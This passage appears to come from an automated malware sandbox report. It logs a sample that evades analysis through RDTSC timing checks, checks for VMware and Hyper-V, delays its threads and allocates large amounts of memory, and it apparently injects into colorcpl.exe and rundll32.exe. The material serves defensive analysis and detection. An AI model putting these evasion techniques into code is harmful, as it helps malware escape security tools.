Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect virtualization through RDTSC time measurements

Source: C:\Windows\SysWOW64\colorcpl.exe	RDTSC instruction interceptor: First address: 00000000068B9904 second address: 00000000068B990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\colorcpl.exe	RDTSC instruction interceptor: First address: 00000000068B9B6E second address: 00000000068B9B74 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\rundll32.exe	RDTSC instruction interceptor: First address: 0000000000719904 second address: 000000000071990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\rundll32.exe	RDTSC instruction interceptor: First address: 0000000000719B6E second address: 0000000000719B74 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\colorcpl.exe	RDTSC instruction interceptor: First address: 00000000065F9904 second address: 00000000065F990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\colorcpl.exe	RDTSC instruction interceptor: First address: 00000000065F9B6E second address: 00000000065F9B74 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\chkdsk.exe	RDTSC instruction interceptor: First address: 0000000004D19904 second address: 0000000004D1990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\chkdsk.exe	RDTSC instruction interceptor: First address: 0000000004D19B6E second address: 0000000004D19B74 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc

Allocates many large memory junks

Source: C:\Users\Public\Libraries\Telragab.PIF	Memory allocated: 2F70000 memory commit 240005120
Source: C:\Users\Public\Libraries\Telragab.PIF	Memory allocated: 2F71000 memory commit 240427008
Source: C:\Users\Public\Libraries\Telragab.PIF	Memory allocated: 2FD9000 memory commit 240005120
Source: C:\Users\Public\Libraries\Telragab.PIF	Memory allocated: 2FDA000 memory commit 240078848
Source: C:\Users\Public\Libraries\Telragab.PIF	Memory allocated: 2FED000 memory commit 241016832
Source: C:\Users\Public\Libraries\Telragab.PIF	Memory allocated: 30E5000 memory commit 240013312
Source: C:\Users\Public\Libraries\Telragab.PIF	Memory allocated: 30E8000 memory commit 240029696
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Memory allocated: 32B0000 memory commit 280006656	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Memory allocated: 32B1000 memory commit 280424448	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Memory allocated: 3319000 memory commit 280002560	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Memory allocated: 331A000 memory commit 280076288	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Memory allocated: 332D000 memory commit 281018368	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Memory allocated: 3425000 memory commit 280014848	Jump to behavior
Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	Memory allocated: 3428000 memory commit 280031232	Jump to behavior
Source: C:\Users\Public\Libraries\Telragab.PIF	Memory allocated: 3280000 memory commit 260005888
Source: C:\Users\Public\Libraries\Telragab.PIF	Memory allocated: 3281000 memory commit 260423680
Source: C:\Users\Public\Libraries\Telragab.PIF	Memory allocated: 32E9000 memory commit 260005888
Source: C:\Users\Public\Libraries\Telragab.PIF	Memory allocated: 32EA000 memory commit 260079616
Source: C:\Users\Public\Libraries\Telragab.PIF	Memory allocated: 32FD000 memory commit 261017600
Source: C:\Users\Public\Libraries\Telragab.PIF	Memory allocated: 33F5000 memory commit 260014080
Source: C:\Users\Public\Libraries\Telragab.PIF	Memory allocated: 33F8000 memory commit 260030464

Source: C:\Windows\explorer.exe TID: 2036	Thread sleep time: -16654000s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 2036	Thread sleep time: -3228000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 2156	Thread sleep count: 176 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 2156	Thread sleep time: -352000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 2156	Thread sleep count: 9793 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 2156	Thread sleep time: -19586000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 8327	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 1614	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 594	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Window / User API: threadDelayed 9793	Jump to behavior

Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe	API coverage: 7.8 %
Source: C:\Windows\SysWOW64\colorcpl.exe	API coverage: 1.6 %

Source: C:\Windows\SysWOW64\colorcpl.exe

Code function: 3_2_068B9AA0 rdtsc

3_2_068B9AA0

Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe

Code function: GetCurrentThreadId,GetCursorPos,WaitForSingleObject,

0_2_03302474

Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe

API call chain: ExitProcess graph end node

graph_0-43037

Source: explorer.exe, 00000005.00000003.2979477357.000000000C4EE000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: 2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}erPoint.Template.8\CLSIDS@5
Source: explorer.exe, 00000005.00000000.2334366335.000000000962B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4623300730.000000000962B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWystem32\DriverStore\en-US\msmouse.inf_locv
Source: explorer.exe, 00000005.00000002.4623300730.00000000097F3000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: explorer.exe, 00000005.00000000.2334366335.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4623300730.000000000973C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWws
Source: Telragab.PIF, 00000009.00000003.2578378839.0000000000770000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW<
Source: explorer.exe, 00000005.00000003.2979054042.00000000098AD000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}RoamingCom
Source: explorer.exe, 00000005.00000002.4623300730.0000000009605000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NXTVMWare
Source: explorer.exe, 00000005.00000000.2324160077.0000000000D99000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: #CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Fpopgapwdcgvxn.exe, 00000000.00000003.2317987544.0000000000844000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2334366335.000000000978C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4623300730.000000000978C000.00000004.00000001.00020000.00000000.sdmp, Telragab.PIF, 00000009.00000003.2578378839.0000000000770000.00000004.00000020.00020000.00000000.sdmp, Telragab.PIF, 00000009.00000003.2578378839.0000000000742000.00000004.00000020.00020000.00000000.sdmp, Telragab.PIF, 0000000B.00000002.2686612744.0000000000978000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Fpopgapwdcgvxn.exe, 00000000.00000003.2317987544.0000000000844000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWF
Source: explorer.exe, 00000005.00000000.2324160077.0000000000D99000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000W
Source: explorer.exe, 00000005.00000003.2980040926.000000000C24C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: AGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000005.00000000.2327459707.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
Source: explorer.exe, 00000005.00000003.2979054042.00000000098AD000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}lnkramW6
Source: Fpopgapwdcgvxn.exe, 00000000.00000003.2317987544.0000000000812000.00000004.00000020.00020000.00000000.sdmp, Telragab.PIF, 0000000B.00000002.2686612744.000000000095E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: explorer.exe, 00000005.00000000.2324160077.0000000000D99000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: explorer.exe, 00000005.00000003.2979054042.00000000098AD000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000
Source: explorer.exe, 00000005.00000000.2324160077.0000000000D99000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe

Code function: 0_2_032B5C18 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,

0_2_032B5C18

Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe

0_2_032F7040

Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E62BE78 mov ecx, dword ptr fs:[00000030h]	3_2_1E62BE78
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E645E40 mov eax, dword ptr fs:[00000030h]	3_2_1E645E40
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6EDE46 mov eax, dword ptr fs:[00000030h]	3_2_1E6EDE46
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E66BE51 mov eax, dword ptr fs:[00000030h]	3_2_1E66BE51
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E66BE51 mov eax, dword ptr fs:[00000030h]	3_2_1E66BE51
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6D9E56 mov ecx, dword ptr fs:[00000030h]	3_2_1E6D9E56
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E64DE2D mov eax, dword ptr fs:[00000030h]	3_2_1E64DE2D
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E64DE2D mov eax, dword ptr fs:[00000030h]	3_2_1E64DE2D
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E64DE2D mov eax, dword ptr fs:[00000030h]	3_2_1E64DE2D
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E631E30 mov eax, dword ptr fs:[00000030h]	3_2_1E631E30
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E631E30 mov eax, dword ptr fs:[00000030h]	3_2_1E631E30
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E703E10 mov eax, dword ptr fs:[00000030h]	3_2_1E703E10
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E703E10 mov eax, dword ptr fs:[00000030h]	3_2_1E703E10
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E66BE17 mov eax, dword ptr fs:[00000030h]	3_2_1E66BE17
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E62DE10 mov eax, dword ptr fs:[00000030h]	3_2_1E62DE10
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E633EE1 mov eax, dword ptr fs:[00000030h]	3_2_1E633EE1
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6FBEE6 mov eax, dword ptr fs:[00000030h]	3_2_1E6FBEE6
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6FBEE6 mov eax, dword ptr fs:[00000030h]	3_2_1E6FBEE6
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6FBEE6 mov eax, dword ptr fs:[00000030h]	3_2_1E6FBEE6
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6FBEE6 mov eax, dword ptr fs:[00000030h]	3_2_1E6FBEE6
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E663EEB mov ecx, dword ptr fs:[00000030h]	3_2_1E663EEB
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E663EEB mov eax, dword ptr fs:[00000030h]	3_2_1E663EEB
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E663EEB mov eax, dword ptr fs:[00000030h]	3_2_1E663EEB
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E633EF4 mov eax, dword ptr fs:[00000030h]	3_2_1E633EF4
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E633EF4 mov eax, dword ptr fs:[00000030h]	3_2_1E633EF4
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E633EF4 mov eax, dword ptr fs:[00000030h]	3_2_1E633EF4
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E62BEC0 mov eax, dword ptr fs:[00000030h]	3_2_1E62BEC0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E62BEC0 mov eax, dword ptr fs:[00000030h]	3_2_1E62BEC0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E63BEC0 mov eax, dword ptr fs:[00000030h]	3_2_1E63BEC0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E63BEC0 mov eax, dword ptr fs:[00000030h]	3_2_1E63BEC0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E63BEC0 mov eax, dword ptr fs:[00000030h]	3_2_1E63BEC0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E63BEC0 mov eax, dword ptr fs:[00000030h]	3_2_1E63BEC0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E63BEC0 mov eax, dword ptr fs:[00000030h]	3_2_1E63BEC0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E63BEC0 mov eax, dword ptr fs:[00000030h]	3_2_1E63BEC0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E63BEC0 mov eax, dword ptr fs:[00000030h]	3_2_1E63BEC0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E63BEC0 mov eax, dword ptr fs:[00000030h]	3_2_1E63BEC0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E65FEC0 mov eax, dword ptr fs:[00000030h]	3_2_1E65FEC0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6BFEC5 mov eax, dword ptr fs:[00000030h]	3_2_1E6BFEC5
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6E9EDF mov eax, dword ptr fs:[00000030h]	3_2_1E6E9EDF
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6E9EDF mov eax, dword ptr fs:[00000030h]	3_2_1E6E9EDF
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6BDEAA mov eax, dword ptr fs:[00000030h]	3_2_1E6BDEAA
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E62FEA0 mov eax, dword ptr fs:[00000030h]	3_2_1E62FEA0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E62DEA5 mov eax, dword ptr fs:[00000030h]	3_2_1E62DEA5
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E62DEA5 mov ecx, dword ptr fs:[00000030h]	3_2_1E62DEA5
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6DDEB0 mov eax, dword ptr fs:[00000030h]	3_2_1E6DDEB0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6DDEB0 mov ecx, dword ptr fs:[00000030h]	3_2_1E6DDEB0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6DDEB0 mov eax, dword ptr fs:[00000030h]	3_2_1E6DDEB0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6DDEB0 mov eax, dword ptr fs:[00000030h]	3_2_1E6DDEB0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6DDEB0 mov eax, dword ptr fs:[00000030h]	3_2_1E6DDEB0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6EDEB0 mov eax, dword ptr fs:[00000030h]	3_2_1E6EDEB0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E663E8F mov eax, dword ptr fs:[00000030h]	3_2_1E663E8F
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6BDE9B mov eax, dword ptr fs:[00000030h]	3_2_1E6BDE9B
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E637E96 mov eax, dword ptr fs:[00000030h]	3_2_1E637E96
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E65BF60 mov eax, dword ptr fs:[00000030h]	3_2_1E65BF60
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6AFF42 mov eax, dword ptr fs:[00000030h]	3_2_1E6AFF42
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E631F50 mov eax, dword ptr fs:[00000030h]	3_2_1E631F50
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E667F51 mov eax, dword ptr fs:[00000030h]	3_2_1E667F51
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6EDF2F mov eax, dword ptr fs:[00000030h]	3_2_1E6EDF2F
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6D7F3E mov eax, dword ptr fs:[00000030h]	3_2_1E6D7F3E
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6B1F13 mov eax, dword ptr fs:[00000030h]	3_2_1E6B1F13
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6BDF10 mov eax, dword ptr fs:[00000030h]	3_2_1E6BDF10
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E66BFEC mov eax, dword ptr fs:[00000030h]	3_2_1E66BFEC
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E66BFEC mov eax, dword ptr fs:[00000030h]	3_2_1E66BFEC
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E66BFEC mov eax, dword ptr fs:[00000030h]	3_2_1E66BFEC
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E633FC2 mov eax, dword ptr fs:[00000030h]	3_2_1E633FC2
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E661FCD mov eax, dword ptr fs:[00000030h]	3_2_1E661FCD
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E661FCD mov eax, dword ptr fs:[00000030h]	3_2_1E661FCD
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E661FCD mov eax, dword ptr fs:[00000030h]	3_2_1E661FCD
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6EBFC0 mov ecx, dword ptr fs:[00000030h]	3_2_1E6EBFC0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6EBFC0 mov eax, dword ptr fs:[00000030h]	3_2_1E6EBFC0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E703FC0 mov eax, dword ptr fs:[00000030h]	3_2_1E703FC0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E62BFD0 mov eax, dword ptr fs:[00000030h]	3_2_1E62BFD0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6B3FD7 mov eax, dword ptr fs:[00000030h]	3_2_1E6B3FD7
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E66BFB0 mov eax, dword ptr fs:[00000030h]	3_2_1E66BFB0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E671FB8 mov eax, dword ptr fs:[00000030h]	3_2_1E671FB8
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E62FF90 mov edi, dword ptr fs:[00000030h]	3_2_1E62FF90
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E641F92 mov ecx, dword ptr fs:[00000030h]	3_2_1E641F92
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E641F92 mov ecx, dword ptr fs:[00000030h]	3_2_1E641F92
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E641F92 mov eax, dword ptr fs:[00000030h]	3_2_1E641F92
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E641F92 mov ecx, dword ptr fs:[00000030h]	3_2_1E641F92
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E641F92 mov ecx, dword ptr fs:[00000030h]	3_2_1E641F92
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E641F92 mov eax, dword ptr fs:[00000030h]	3_2_1E641F92
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E641F92 mov ecx, dword ptr fs:[00000030h]	3_2_1E641F92
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E641F92 mov ecx, dword ptr fs:[00000030h]	3_2_1E641F92
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E641F92 mov eax, dword ptr fs:[00000030h]	3_2_1E641F92
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E641F92 mov ecx, dword ptr fs:[00000030h]	3_2_1E641F92
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E641F92 mov ecx, dword ptr fs:[00000030h]	3_2_1E641F92
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E641F92 mov eax, dword ptr fs:[00000030h]	3_2_1E641F92
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6D3F90 mov eax, dword ptr fs:[00000030h]	3_2_1E6D3F90
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6D3F90 mov eax, dword ptr fs:[00000030h]	3_2_1E6D3F90
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E641C60 mov eax, dword ptr fs:[00000030h]	3_2_1E641C60
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E661C7C mov eax, dword ptr fs:[00000030h]	3_2_1E661C7C
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6EFC4F mov eax, dword ptr fs:[00000030h]	3_2_1E6EFC4F
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E627C40 mov eax, dword ptr fs:[00000030h]	3_2_1E627C40
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E627C40 mov ecx, dword ptr fs:[00000030h]	3_2_1E627C40
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E627C40 mov eax, dword ptr fs:[00000030h]	3_2_1E627C40
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E627C40 mov eax, dword ptr fs:[00000030h]	3_2_1E627C40
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6FDC27 mov eax, dword ptr fs:[00000030h]	3_2_1E6FDC27
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6FDC27 mov eax, dword ptr fs:[00000030h]	3_2_1E6FDC27
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6FDC27 mov eax, dword ptr fs:[00000030h]	3_2_1E6FDC27
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E701C3C mov eax, dword ptr fs:[00000030h]	3_2_1E701C3C
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6B9C32 mov eax, dword ptr fs:[00000030h]	3_2_1E6B9C32
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E66BC3B mov esi, dword ptr fs:[00000030h]	3_2_1E66BC3B
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E70BC01 mov eax, dword ptr fs:[00000030h]	3_2_1E70BC01
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E70BC01 mov eax, dword ptr fs:[00000030h]	3_2_1E70BC01
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6BBC10 mov eax, dword ptr fs:[00000030h]	3_2_1E6BBC10
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6BBC10 mov eax, dword ptr fs:[00000030h]	3_2_1E6BBC10
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6BBC10 mov ecx, dword ptr fs:[00000030h]	3_2_1E6BBC10
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6D1CF9 mov eax, dword ptr fs:[00000030h]	3_2_1E6D1CF9
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6D1CF9 mov eax, dword ptr fs:[00000030h]	3_2_1E6D1CF9
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E6D1CF9 mov eax, dword ptr fs:[00000030h]	3_2_1E6D1CF9
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E641CC7 mov eax, dword ptr fs:[00000030h]	3_2_1E641CC7
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E641CC7 mov eax, dword ptr fs:[00000030h]	3_2_1E641CC7
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 3_2_1E665CC0 mov eax, dword ptr fs:[00000030h]	3_2_1E665CC0
